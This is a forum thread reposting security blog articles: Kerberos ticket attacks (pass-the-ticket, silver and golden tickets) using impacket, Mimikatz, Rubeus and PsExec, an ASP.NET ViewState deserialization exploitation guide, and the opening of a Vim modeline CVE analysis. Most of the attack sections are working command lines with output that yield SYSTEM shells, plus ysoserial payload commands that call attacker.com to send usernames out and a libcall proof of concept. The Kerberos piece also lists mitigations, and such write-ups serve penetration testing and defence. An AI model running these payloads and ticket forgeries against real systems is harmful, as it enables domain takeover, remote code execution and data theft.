4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQhxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7eos6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90JUDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9vTfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAxOTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJBU1NJQy5QQVJL")) And finally, after executing any of those tools, tickets are dumped, ready to use except for those expired. Swaping Linux and Windows tickets between platforms Before start using the tickets, it is important to have them in the proper format, due to Windows and Linux using different approaches to save them. In order to convert from ccache (Linux file format) to kirbi (Windows file format used by Mimikatz and Rubeus), and vice versa, the following tools can be used: The ticket_converter script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache Kekeo, to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning. From Linux To perform the pass the ticket attack by using psexec.py from impacket, just do the following: root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK root@kali:impacket-examples# python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file SptvdLDZ.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service zkNG on labwws02.jurassic.park..... [*] Starting service zkNG..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32> As with PTK attacks, in order to use a ticket with any impacket tool, just specify the KRB5CCNAME environment variable and the -no-pass -k parameters. While performing this technique, an error was shown by impacket: [-] SMB SessionError: STATUS_ACCESS_DENIED…, even if the user had access to the remote machine. This issue was caused by the fact that a ticket without the A flag (pre-authenticated) was used, because that domain user did not need Kerberos pre-authentication. To check ticket flags in Linux, the command klist -f can be used, which is part of the krb5 package. Example: root@kali:impacket-examples# klist -f -c krb5cc_1120601113_ZFxZpK Ticket cache: FILE:krb5cc_1120601113_ZFxZpK Default principal: velociraptor@JURASSIC.PARK Valid starting Expires Service principal 03/07/19 11:08:45 03/07/19 21:08:45 krbtgt/JURASSIC.PARK@JURASSIC.PARK renew until 03/08/19 11:08:41, Flags: RIA From Windows In a Windows machine, Rubeus or Mimikatz can be used in order to inject tickets in the current session, no special privileges are required to accomplish this task. After that, it is possible to use a tool like PsExec to execute commands in remote machines as the new user. Example executions of both tools are shown below: Mimikatz example: PS C:\Users\velociraptor> .\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi * File: '[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi': OK mimikatz # exit Bye! PS C:\Users\velociraptor> klist Current LogonId is 0:0x34f9571 Cached Tickets: (1) #0> Client: trex @ JURASSIC.PARK Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/5/2019 9:15:59 (local) End Time: 3/5/2019 19:15:59 (local) Renew Time: 3/7/2019 12:14:43 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 PS C:\Users\velociraptor> .\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\trex C:\Windows\system32> Rubeus example: C:\Users\velociraptor>.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\velociraptor>klist Current LogonId is 0:0x34f958e Cached Tickets: (1) #0> Client: trex @ JURASSIC.PARK Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/5/2019 9:15:59 (local) End Time: 3/5/2019 19:15:59 (local) Renew Time: 3/7/2019 12:14:43 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 C:\Users\velociraptor>.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\trex C:\Windows\system32> After injecting the ticket of a user account, it is possible to act on behalf of that user in remote machines, but not in the local one, where Kerberos doesn’t apply. Remember that TGT tickets are more useful than TGS ones, as they are not restricted to one service only. Silver ticket The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of a user account is owned. Thus, it is possible to gain access to that service by forging a custom TGS with the maximum privileges inside it. In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service. It also must be taken into account that it is possible to forge tickets using the AES Kerberos keys (AES128 and AES256), which are calculated from the password as well, and can be used by Impacket and Mimikatz to craft the tickets. Moreover, these keys, unlike the NTLM hash, are salted with the domain and username. In order to know more about how this keys are calculated, it is recommended to read the section 4.4 of MS-KILE or the Get-KerberosAESKey.ps1 script. From Linux As usual, it is possible to perform these attacks from a Linux machine by using the examples provided by impacket. In this case ticketer.py is used to forge a TGS: root@kali:impacket-examples# python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for jurassic.park/stegosaurus [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in stegosaurus.ccache root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file JhRQHMnu.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service Drvl on labwws02.jurassic.park..... [*] Starting service Drvl..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32> Execution is similar to PTT attacks, but in this case the ticket is created manually. After that, as usual, it is possible to set the ticket in the KRB5CCNAME environment variable and use it with the -no-pass -k parameters in any of the impacket examples. From Windows In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected with Rubeus, and finally a remote shell can be obtained thanks to PsExec. It must be taken into account that tickets can be forged in a local machine, which is not in the target network, and after that send it to a machine in the network to inject it. An execution example is shown below: C:\Users\triceratops>.\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park User : stegosaurus Domain : jurassic.park (JURASSIC) SID : S-1-5-21-1339291983-1349129144-367733775 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: b18b4b218eccad1c223306ea1916885f - rc4_hmac_nt Service : cifs Target : labwws02.jurassic.park Lifetime : 28/02/2019 13:42:05 ; 25/02/2029 13:42:05 ; 25/02/2029 13:42:05 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # exit Bye! C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\stegosaurus C:\Windows\system32> Additionally, the Mimikatz module kerberos::ptt can be used to inject the ticket instead of using Rubeus, as shown in the PTT attack section. Golden ticket The Golden ticket technique is similar to the Silver ticket one, however, in this case a TGT is crafted by using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain. The krbtgt account NTLM hash can be obtained from the lsass process or the NTDS.dit file of any DC in the domain. It is also possible to get that NTLM through a DCsync attack, which can be performed either with the lsadump::dcsync module of Mimikatz or the impacket example secretsdump.py. Usually, domain admin privileges or similar are required, no matter what technique is used. From Linux The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used: root@kali:impacket-examples# python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for jurassic.park/stegosaurus [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncAsRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncASRepPart [*] Saving ticket in stegosaurus.ccache root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on lab-wdc02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file goPntOCB.exe [*] Opening SVCManager on lab-wdc02.jurassic.park..... [*] Creating service DMmI on lab-wdc02.jurassic.park..... [*] Starting service DMmI..... [!] Press help for extra shell commands Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32> The result is similar to the Silver Ticket one, but this time, the compromised server is the DC, and could be any machine or the domain. From Windows As in silver ticket case, Mimikatz, Rubeus and PsExec can be used to launch the attack: C:\Users\triceratops>.\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:25b2076cda3bfd6209161a6c78a69c1c /user:stegosaurus User : stegosaurus Domain : jurassic.park (JURASSIC) SID : S-1-5-21-1339291983-1349129144-367733775 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 25b2076cda3bfd6209161a6c78a69c1c - rc4_hmac_nt Lifetime : 28/02/2019 10:58:03 ; 25/02/2029 10:58:03 ; 25/02/2029 10:58:03 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # exit Bye! C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>klist Current LogonId is 0:0x50ca688 Cached Tickets: (1) #0> Client: stegosaurus @ jurassic.park Server: krbtgt/jurassic.park @ jurassic.park KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 2/28/2019 11:36:55 (local) End Time: 2/25/2029 11:36:55 (local) Renew Time: 2/25/2029 11:36:55 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: C:\Users\triceratops>.\PsExec.exe -accepteula \\lab-wdc02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\stegosaurus C:\Windows\system32> While I was performing this technique, sometimes seems that tickets doesn’t work. I was wondering what is happening, when I remembered reading this post about the 20 minute rule for PAC validation in the DC. Then I realized that any of the failed ticket were injected after I having been performing some unrelated tasks, which it involves that between the moment I created the ticket and the moment I injected it, at least half an hour had passed. So, remember to inject the tickets after creating them. Mitigations In order to prevent or mitigate many of these Kerberos attacks a series of policies can be implemented. Some examples are the following: Enable an strong password policy: First step is to avoid having weak passwords in domain user accounts. To achieve this an strong password policy should be implemented, by ensuring that complex password option is enabled on Active Directory domain. Moreover, blacklisting some common predictable terms in passwords as company names, year or months names. Avoid accounts without pre-authentication: If it is no completely necessary, none account must have Kerberos pre-authentication enabled. In case that this cannot be avoided, take note of these special accounts and create pseudo-random passwords with high level of complexity. Avoid executing services in behalf of account accounts: Avoid services that run in domain user account context. In case of using an special user account for launch domain services, generate an strong pseudo-random password for that account. Verify PAC: Enable PAC verification in order to avoid attacks such as Silver Ticket. To enable this check set the value ValidateKdcPacSignature (DWORD) in subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters to 1. Change passwords periodically: Set policies to ensure that user passwords are periodically modified, for example, each 2 to 4 months. As special case, krbtgt account password should also be changed periodically, since that key is used to create TGTs. To this purpose, the script https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51 can be used. It must be taken into account that krbtgt password must be modified twice to invalidate current domain tickets, for cache reasons. Another consideration is that the functional level of domain must be equal or higher than Windows Server 2008 in order to manipulate krbtgt account credentials. Disable Kerberos weak encryption types: Only Kerberos encryption with AES keys should be allowed. Furthermore, Kerberos requests with a lower level of encryption as RC4 should be monitored, due is usually used by attack tools. Additionally, Microsoft has published a guide which explains more detailed ways of preventing and mitigations this sort of attacks. It can be downloaded at https://www.microsoft.com/en-us/download/details.aspx?id=36036. Conclussion As it has already been shown, Kerberos has an enormous attack surface that can be used by possible attackers. Therefore, it is necessary to be aware of these attack techniques in order to deploy a set of security policies that avoid and mitigate them. However, the journey is not over yet. Until now, only direct attacks have been seen, and there is a Kerberos feature that allows to expand its surface: Delegation. Therefore, the next post of this series will try to explain this feature and how it can be abused to steal and compromise domain accounts. References MS-KILE: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9 Impacket: https://github.com/SecureAuthCorp/impacket Mimikatz: https://github.com/gentilkiwi/mimikatz Rubeus: https://github.com/GhostPack/Rubeus Rubeus (with brute module): https://github.com/Zer1t0/Rubeus Invoke-Kerberoast: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 Kerbrute.py: https://github.com/TarlogicSecurity/kerbrute ticket_converter.py: https://github.com/Zer1t0/ticket_converter Tickey: https://github.com/TarlogicSecurity/tickey Kerberos Credential Thievery (GNU/Linux): https://www.delaat.net/rp/2016-2017/p97/report.pdf Fun with LDAP and Kerberos in AD environments: https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=79 20 Minute Rule PAC: https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html Mimikatz and your credentials: https://www.nosuchcon.org/talks/2014/D2_02_Benjamin_Delpy_Mimikatz.pdf MIT Kerberos Credential cache types: https://web.mit.edu/kerberos/krb5-devel/doc/basic/ccache_def.html MIT Kerberos File ccache format: https://web.mit.edu/kerberos/krb5-devel/doc/formats/ccache_file_format.html Detecting Kerberoasting: https://adsecurity.org/?p=3458 Sursa: https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
      • 1
      • Upvote
  8. Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net June 13, 2019 In this blog post, Sanjay talks of various test cases to exploit ASP.NET ViewState deserialization using Blacklist3r and YSoSerial.Net. Blacklist3r is used to identify the use of pre-shared (pre-published) keys in the application for encryption and decryption of forms authentication cookie, ViewState, etc. We discussed an interesting case of pre-published Machine keys, leading to an authentication bypass. Read more How to obtain MachineKey? There are multiple ways but not limited to the following to obtain the Machine Key used by a .NET application: Blacklist3r: If the application uses pre-shared machine key Directory Traversal attack to get access to web.config file Information Disclosure ViewState Deserialization Vulnerability Soroush Dalili (@irsdl) wrote an interesting article on Exploiting Deserialisation in ASP.NET via ViewState with the knowledge of validation, decryption keys, and algorithms. This is where Blacklist3r can be used, to identify the pre-shared machine keys and the required payloads can be generated using YSoSerial.Net. YSoSerial.Net supports multiple gadgets to generate payloads. We have used “TextFormattingRunProperties” and “TypeConfuseDelegate” gadget for the demonstration. Let us first understand what is ViewState and what are its attributes. What is ViewState? ViewState is the method that the ASP.NET framework uses by default to preserve page and control values between web pages. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields. The following properties or combination of properties apply to ViewState information Base64 Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false Base64 + MAC (Message Authentication Code) Enabled Can be defined using EnableViewStateMac attribute set to true Base64 + Encrypted Can be defined using viewStateEncryptionMode attribute set to true “EnableViewStateMac” and “ViewStateEncryptionMode” attribute In 2014 with ASP.NET >=1.1: Hotfix was released to forbid “EnableViewStateMac” attribute defined for the application. https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/ http://support.microsoft.com/kb/2905247 (Hotfix to forbid the settings) 2016 with ASP.NET >=4.5: As per the security advisory, the windows server enforce that the ViewState is MAC enabled and encrypted and “EnableViewStateMac” and “ViewStateEncryptionMode” attributes value is ignored if it was set to false. https://devblogs.microsoft.com/aspnet/secure-asp-net-viewstate/ However, it is still possible to disable ViewStateMac and Encryption by making changes in the configuration. Read more Test Cases The table below lists the possible scenarios for exploiting ViewState Deserialization flaws. Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false Machine Key not required Identifying ViewState Attributes The first step is to identify the ViewState attribute. As shown in the figure below, ViewState MAC and Encryption both are disabled which means it is possible to tamper ViewState without machine key. One can simply use the YSoSerial.Net to generate a serialized payload to perform Remote Code Execution. Command used to generate payload using YSoSerial.Net. ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. PoC of Successful Exploitation Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false Machine Key required Identifying ViewState Attributes The first step is to identify the ViewState attribute. As shown in the figure below, ViewState MAC is enabled and Encryption is disabled which means it is not possible to tamper ViewState without MachineKey (Validationkey). Obtaining a MachineKey using Blacklist3r Use Blacklist3r to identify usage of pre-shared machine key with the following command: AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy –encrypteddata = {__VIEWSTATE parameter value of the target application} –modifier = {__VIWESTATEGENERATOR parameter value} Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net. ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" –generator = {__VIWESTATEGENERATOR parameter value} If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. PoC of Successful Exploitation Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true Machine Key required Identifying ViewState Attributes The first step is to identify the ViewState attribute. As shown in the figure below, Encryption is enabled which means it is not possible to tamper ViewState without MachineKey (Validationkey and Decryptionkey). Obtaining a MachineKey using Blacklist3r Blacklist3r module for this case is under development. If the Machinekey is known (e.g. via a directory traversal issue), YSoSerial.Net command used in the test case 2, can be used to perform RCE using ViewState deserialization vulnerability. Remove “__VIEWSTATEENCRYPTED” parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure: Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false Machine Key required Identifying ViewState Attributes The first step is to identify the ViewState attribute. As shown in the figure below, Encryption is enabled which means it is not possible to tamper ViewState without MachineKey (Validationkey and Decryptionkey). Obtaining a MachineKey using Blacklist3r Here we will use blacklist3r to identify usage of pre-shared machine key Run the following command using Blacklist3r AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" –encrypteddata = {__VIEWSTATE parameter value} —IISDirPath = {Directory path of website in IIS} –TargetPagePath = {Target page path in application} For a more detailed description for IISDirPath and TargetPagePath. Refer here Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net. ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. PoC of Successful Exploitation PoC of Successful Exploitation For all the test cases, if the ViewState YSoSerial.Net payload works successfully then the server responds with “500 Internal server error” having response content “The state information is invalid for this page and might be corrupted” and we get the OOB request as shown in Figures below: out of band request with the current username <marketing> For more such vulnerabilities and exploits, check out our upcoming training courses at Black Hat. https://www.notsosecure.com/blackhat-2019/ </marketing> References https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/ https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,6066a5b85c747197 https://github.com/pwntester/ysoserial.net/ https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/ https://devblogs.microsoft.com/aspnet/secure-asp-net-viewstate/ http://support.microsoft.com/kb/2905247 https://github.com/Illuminopi/RCEvil.NET https://www.youtube.com/watch?v=2ZtMVuhtuuA https://github.com/0xacb/viewgen https://msdn.microsoft.com/en-us/data/ms178198(v=vs.99) https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.page.enableviewstatemac?view=netframework-4.8 Sursa: https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
  9. Vim/Neovim Arbitrary Code Execution Via Modelines (CVE-2002-1377, CVE-2016-1248, CVE-2019-12735) 2019年06月14日 漏洞分析 · 404专栏 目录 Introduction About Modeline CVE-2002-1377 CVE-2016-1248 CVE-2019-12735 Conclusion Reference About Knownsec & 404 Team Author: fenix@Knownsec 404 Team Chinese Version: https://paper.seebug.org/952/ Introduction Vim is a terminal text editor, an extended version of vi with additional features, including syntax highlighting, a comprehensive help system, native scripting (vimscript), a visual mode for text selection, comparison of files and so on. Vim and Emacs are the dominant text editors on Unix-like operating systems, and have inspired the editor wars. Neovim is a reconstruction project of Vim aiming to improve the user experience. On June 4, 2019, an arbitrary code execution vulnerability has been discoverd in Vim/neovim. The attacker can execute arbitrary commands on the target machine by cheating the victim to open a specially crafted text file via vim or neovim. The vulnerability was caused by the implementation of the modeline. There have been several other modeline-related vulnerabilities patched, such as CVE-2002-1377, CVE-2016-1248. Arminius has analyzed the CVE-2019-12735 very clearly. This article is a summaryand a complete analysis of the multiple vulnerabilities discoverd in the past(neovim is similar to the vim environment). About Modeline Since all vulnerabilities are related to modeline, it is necessary to know what modeline is. There are four modes in vim: normal mode, insert mode, command mode, and visual mode. In normal mode, press the : to enter command mode. In command mode you can execute some commands provided by vim or plugin, just like in a shell. These commands include setting the environment, operating files, calling a function, executing a shell command, and so on. For example, we set it not display the line number: If you have a lot of preferences, it will be extremely time-consuming to manually set the environment each time. At this time, .vimrc comes in handy. When vim is started, the .vimrc file in the current user root directory will be loaded automatically. The settings in .vimrc take effect for all files that you open, making it difficult to personalize individual files, which is why the modeline comes into being. Vim's modeline makes it possible for you to perform file-level settings for each file, which overrides the settings of the current users .vimrc. Vim turns off modeline by default, and appending set modeline to the end of .vimrc can open it. If modeline is turned on, vim will parse the setting lines that matches the format at the beginning and end of the file when opening it. There are two forms of modelines. The first form: The second form: For security reasons, no other commands than "set" are supported(somebody might create a Trojan text file with modelines). In particular, the values of options such as 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline', 'foldtext' can be an expression. If the option is set in modeline, the expression can be executed in the sanbox. The sanbox is essentially a limitation on what the expression can do, for example, you cannot execute shell commands, read and write files, or modify the buffer in the sanbox: The implementaion of the sanbox in vim is also very simple. Sanbox checks function check_secure(): Sanbox checks at the beginning of dangerous commands such as libcall, luaevel, etc.. If calling is found in the sanbox, the funcion will return diretly. Among the several RCE vulnerabilities discoverd in the past, CVE-2002-1377 and CVE-2019-12735 are due to the fact that some commands do not check the sandbox, resulting in abuse in the modeline mode for arbitrary command execution. CVE-2002-1377 The arbitrary code execution vulnerability discoverd in 2002 affects vim versions 6.0 and 6.1. It has been such a long time that the enviroment is difficult to reproduce. Proof of Concept: /* vim:set foldmethod=expr: */ /* vim:set foldexpr=confirm(libcall("/lib/libc.so.6","system","/bin/ls"),"ms_sux"): */ Achieving arbitrary commands execution by using the libcall feature in modelines. Sanbox check has been added, and libcall cannot be called under modeline. 